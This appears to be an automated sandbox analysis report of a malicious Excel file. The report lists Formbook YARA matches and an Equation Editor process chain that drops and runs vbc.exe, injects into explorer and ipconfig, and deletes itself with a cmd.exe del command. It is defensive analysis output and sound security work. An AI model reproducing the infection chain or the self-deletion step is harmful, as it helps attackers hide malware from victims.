Source: C:\Users\Public\vbc.exe Code function: 5_2_009605E3 5_2_009605E3
Source: C:\Users\Public\vbc.exe Code function: 5_2_008FC5F0 5_2_008FC5F0
Source: C:\Users\Public\vbc.exe Code function: 5_2_008E351F 5_2_008E351F
Source: C:\Users\Public\vbc.exe Code function: 5_2_00926540 5_2_00926540
Source: C:\Users\Public\vbc.exe Code function: 5_2_008E4680 5_2_008E4680
Source: C:\Users\Public\vbc.exe Code function: 5_2_008EE6C1 5_2_008EE6C1
Source: C:\Users\Public\vbc.exe Code function: 5_2_0092A634 5_2_0092A634
Source: C:\Users\Public\vbc.exe Code function: 5_2_00982622 5_2_00982622
Source: C:\Users\Public\vbc.exe Code function: 5_2_0096579A 5_2_0096579A
Source: C:\Users\Public\vbc.exe Code function: 5_2_008EC7BC 5_2_008EC7BC
Source: C:\Users\Public\vbc.exe Code function: 5_2_009157C3 5_2_009157C3
Source: C:\Users\Public\vbc.exe Code function: 5_2_0095F8C4 5_2_0095F8C4
Source: C:\Users\Public\vbc.exe Code function: 5_2_0097F8EE 5_2_0097F8EE
Source: C:\Users\Public\vbc.exe Code function: 5_2_008EC85C 5_2_008EC85C
Source: C:\Users\Public\vbc.exe Code function: 5_2_0090286D 5_2_0090286D
Source: C:\Users\Public\vbc.exe Code function: 5_2_0098098E 5_2_0098098E
Source: C:\Users\Public\vbc.exe Code function: 5_2_008E29B2 5_2_008E29B2
Source: C:\Users\Public\vbc.exe Code function: 5_2_008F69FE 5_2_008F69FE
Source: C:\Users\Public\vbc.exe Code function: 5_2_00965955 5_2_00965955
Source: C:\Users\Public\vbc.exe Code function: 5_2_0096394B 5_2_0096394B
Source: C:\Users\Public\vbc.exe Code function: 5_2_00993A83 5_2_00993A83
Source: C:\Users\Public\vbc.exe Code function: 5_2_0098CBA4 5_2_0098CBA4
Source: C:\Users\Public\vbc.exe Code function: 5_2_0096DBDA 5_2_0096DBDA
Source: C:\Users\Public\vbc.exe Code function: 5_2_008DFBD7 5_2_008DFBD7
Source: C:\Users\Public\vbc.exe Code function: 5_2_00907B00 5_2_00907B00
Source: C:\Users\Public\vbc.exe Code function: 5_2_0097FDDD 5_2_0097FDDD
Source: C:\Users\Public\vbc.exe Code function: 5_2_00910D3B 5_2_00910D3B
Source: C:\Users\Public\vbc.exe Code function: 5_2_008ECD5B 5_2_008ECD5B
Source: C:\Users\Public\vbc.exe Code function: 5_2_00912E2F 5_2_00912E2F
Source: C:\Users\Public\vbc.exe Code function: 5_2_008FEE4C 5_2_008FEE4C
Source: C:\Users\Public\vbc.exe Code function: 5_2_0097CFB1 5_2_0097CFB1
Source: C:\Users\Public\vbc.exe Code function: 5_2_00952FDC 5_2_00952FDC
Source: C:\Users\Public\vbc.exe Code function: 5_2_008F0F3F 5_2_008F0F3F
Source: C:\Users\Public\vbc.exe Code function: 5_2_0090DF7C 5_2_0090DF7C
Source: C:\Users\Public\vbc.exe Code function: 5_1_00401030 5_1_00401030
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041A2AA 5_1_0041A2AA
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041C785 5_1_0041C785
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041B808 5_1_0041B808
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041BBA8 5_1_0041BBA8
Source: C:\Users\Public\vbc.exe Code function: 5_1_00408C60 5_1_00408C60
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041BD28 5_1_0041BD28
Source: C:\Users\Public\vbc.exe Code function: 5_1_00402D8E 5_1_00402D8E
Source: C:\Users\Public\vbc.exe Code function: 5_1_00402D90 5_1_00402D90
Source: C:\Users\Public\vbc.exe Code function: 5_1_00402FB0 5_1_00402FB0
Source: C:\Windows\explorer.exe Code function: 6_2_029348F9 6_2_029348F9
Source: C:\Windows\explorer.exe Code function: 6_2_029372FF 6_2_029372FF
Source: C:\Windows\explorer.exe Code function: 6_2_02939062 6_2_02939062
Source: C:\Windows\explorer.exe Code function: 6_2_0293B5B2 6_2_0293B5B2
Source: C:\Windows\explorer.exe Code function: 6_2_0293A7C7 6_2_0293A7C7
Source: C:\Windows\explorer.exe Code function: 6_2_02934902 6_2_02934902
Source: C:\Windows\explorer.exe Code function: 6_2_02937302 6_2_02937302
Source: C:\Windows\explorer.exe Code function: 6_2_02935362 6_2_02935362
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_02161238 7_2_02161238
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020BE2E9 7_2_020BE2E9
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020C2305 7_2_020C2305
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020C7353 7_2_020C7353
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0210A37B 7_2_0210A37B
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_021663BF 7_2_021663BF
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020BF3CF 7_2_020BF3CF
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020E63DB 7_2_020E63DB
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020ED005 7_2_020ED005
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020C3040 7_2_020C3040
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020D905A 7_2_020D905A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0213D06D 7_2_0213D06D
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020BE0C6 7_2_020BE0C6
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0210A634 7_2_0210A634
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_02162622 7_2_02162622
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020C4680 7_2_020C4680
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020CE6C1 7_2_020CE6C1
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0214579A 7_2_0214579A
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020CC7BC 7_2_020CC7BC
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020F57C3 7_2_020F57C3
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0214443E 7_2_0214443E
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020FD47D 7_2_020FD47D
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020D1489 7_2_020D1489
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020F5485 7_2_020F5485
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020C351F 7_2_020C351F
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_02106540 7_2_02106540
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_021405E3 7_2_021405E3
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020DC5F0 7_2_020DC5F0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_02173A83 7_2_02173A83
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020E7B00 7_2_020E7B00
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0216CBA4 7_2_0216CBA4
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0214DBDA 7_2_0214DBDA
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020BFBD7 7_2_020BFBD7
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020CC85C 7_2_020CC85C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020E286D 7_2_020E286D
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0213F8C4 7_2_0213F8C4
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0215F8EE 7_2_0215F8EE
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_02145955 7_2_02145955
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0214394B 7_2_0214394B
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0216098E 7_2_0216098E
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020C29B2 7_2_020C29B2
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020D69FE 7_2_020D69FE
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020F2E2F 7_2_020F2E2F
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020DEE4C 7_2_020DEE4C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020D0F3F 7_2_020D0F3F
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020EDF7C 7_2_020EDF7C
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0215CFB1 7_2_0215CFB1
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_02132FDC 7_2_02132FDC
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020F0D3B 7_2_020F0D3B
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020CCD5B 7_2_020CCD5B
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0215FDDD 7_2_0215FDDD
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0009A2AA 7_2_0009A2AA
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0009C785 7_2_0009C785
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00088C60 7_2_00088C60
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00082D8E 7_2_00082D8E
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00082D90 7_2_00082D90
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_00082FB0 7_2_00082FB0
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_01E467C7 7_2_01E467C7
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_01E45062 7_2_01E45062
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_01E41362 7_2_01E41362
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_01E43302 7_2_01E43302
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_01E432FF 7_2_01E432FF
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_01E475B2 7_2_01E475B2
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_01E40902 7_2_01E40902
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_01E408F9 7_2_01E408F9
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: QTN3C2AF414EDF9_041873.xlsx OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: String function: 020BE2A8 appears 38 times
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: String function: 0212F970 appears 84 times
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: String function: 02103F92 appears 132 times
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: String function: 0210373B appears 245 times
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: String function: 020BDF5C appears 121 times
Source: C:\Users\Public\vbc.exe Code function: String function: 00419F70 appears 40 times
Source: C:\Users\Public\vbc.exe Code function: String function: 008DE2A8 appears 38 times
Source: C:\Users\Public\vbc.exe Code function: String function: 0041A0A0 appears 38 times
Source: C:\Users\Public\vbc.exe Code function: String function: 00923F92 appears 132 times
Source: C:\Users\Public\vbc.exe Code function: String function: 008DDF5C appears 122 times
Source: C:\Users\Public\vbc.exe Code function: String function: 0094F970 appears 84 times
Source: C:\Users\Public\vbc.exe Code function: String function: 0092373B appears 245 times
Yara signature match
Source: 00000005.00000001.2164030475.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000001.2164030475.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.2375588178.0000000000080000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.2375588178.0000000000080000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.2375705185.00000000001F0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.2375705185.00000000001F0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.2205793716.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.2205793716.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.2167067209.0000000002900000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.2167067209.0000000002900000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.2205774849.00000000003A0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.2205774849.00000000003A0000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.2375743991.00000000002B0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.2375743991.00000000002B0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.2205709374.0000000000230000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.2205709374.0000000000230000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.vbc.exe.2900000.8.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.vbc.exe.2900000.8.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.vbc.exe.2900000.8.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.vbc.exe.2900000.8.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.1.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.vbc.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.1.vbc.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: explorer.exe, 00000006.00000000.2182158267.0000000003C40000.00000002.00000001.sdmp Binary or memory string: .VBPud<_
Source: classification engine Classification label: mal100.troj.expl.evad.winXLSX@9/12@8/6
Source: C:\Users\Public\vbc.exe Code function: 4_2_00403486 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 4_2_00403486
Source: C:\Users\Public\vbc.exe Code function: 4_2_00404763 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA, 4_2_00404763
Source: C:\Users\Public\vbc.exe Code function: 4_2_722F4225 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW, 4_2_722F4225
Source: C:\Users\Public\vbc.exe Code function: 4_2_0040216B CoCreateInstance,MultiByteToWideChar, 4_2_0040216B
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\~$QTN3C2AF414EDF9_041873.xlsx Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVRBB.tmp Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\Public\vbc.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\explorer.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: QTN3C2AF414EDF9_041873.xlsx Virustotal: Detection: 33%
Source: QTN3C2AF414EDF9_041873.xlsx ReversingLabs: Detection: 25%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: unknown Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: unknown Process created: C:\Windows\SysWOW64\ipconfig.exe C:\Windows\SysWOW64\ipconfig.exe
Source: unknown Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\Public\vbc.exe'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe' Jump to behavior
Source: C:\Users\Public\vbc.exe Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe' Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\Public\vbc.exe' Jump to behavior
Source: C:\Users\Public\vbc.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: QTN3C2AF414EDF9_041873.xlsx Static file information: File size 2421248 > 1048576
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: ipconfig.pdb source: vbc.exe, 00000005.00000002.2205835901.00000000004F9000.00000004.00000020.sdmp
Source: Binary string: ipconfig.pdbN source: vbc.exe, 00000005.00000002.2205835901.00000000004F9000.00000004.00000020.sdmp
Source: Binary string: wntdll.pdb source: vbc.exe, ipconfig.exe
Source: QTN3C2AF414EDF9_041873.xlsx Initial sample: OLE indicators vbamacros = False
Source: QTN3C2AF414EDF9_041873.xlsx Initial sample: OLE indicators encrypted = True

Data Obfuscation:

barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\Public\vbc.exe Unpacked PE file: 5.2.vbc.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .text:ER;
Contains functionality to dynamically determine API calls
Source: C:\Users\Public\vbc.exe Code function: 4_2_72E31A98 GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA, 4_2_72E31A98
PE file contains sections with non-standard names
Source: z9ayiyo.dll.4.dr Static PE information: section name: .code
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\Public\vbc.exe Code function: 4_2_72E32F60 push eax; ret 4_2_72E32F8E
Source: C:\Users\Public\vbc.exe Code function: 5_2_004160D8 push ebp; ret 5_2_004160E6
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041C96C push cs; ret 5_2_0041C96D
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041B3B5 push eax; ret 5_2_0041B408
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041B46C push eax; ret 5_2_0041B472
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041B402 push eax; ret 5_2_0041B408
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041B40B push eax; ret 5_2_0041B472
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041C40D push esi; iretd 5_2_0041C40F
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041C485 push FFFFFFC3h; retf 5_2_0041C48D
Source: C:\Users\Public\vbc.exe Code function: 5_2_00415CA3 push edx; retf 5_2_00415CB3
Source: C:\Users\Public\vbc.exe Code function: 5_2_0041CFC1 pushfd ; retf 5_2_0041CFC8
Source: C:\Users\Public\vbc.exe Code function: 5_2_004187D8 push ss; ret 5_2_004187DB
Source: C:\Users\Public\vbc.exe Code function: 5_2_008DDFA1 push ecx; ret 5_2_008DDFB4
Source: C:\Users\Public\vbc.exe Code function: 5_1_004160D8 push ebp; ret 5_1_004160E6
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041B3B5 push eax; ret 5_1_0041B408
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041B46C push eax; ret 5_1_0041B472
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041B402 push eax; ret 5_1_0041B408
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041B40B push eax; ret 5_1_0041B472
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041C40D push esi; iretd 5_1_0041C40F
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041C485 push FFFFFFC3h; retf 5_1_0041C48D
Source: C:\Users\Public\vbc.exe Code function: 5_1_004187D8 push ss; ret 5_1_004187DB
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041C96C push cs; ret 5_1_0041C96D
Source: C:\Users\Public\vbc.exe Code function: 5_1_00415CA3 push edx; retf 5_1_00415CB3
Source: C:\Users\Public\vbc.exe Code function: 5_1_0041CFC1 pushfd ; retf 5_1_0041CFC8
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_020BDFA1 push ecx; ret 7_2_020BDFB4
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_000960D8 push ebp; ret 7_2_000960E6
Source: C:\Windows\SysWOW64\ipconfig.exe Code function: 7_2_0009B3B5 push eax; ret 7_2_0009B408
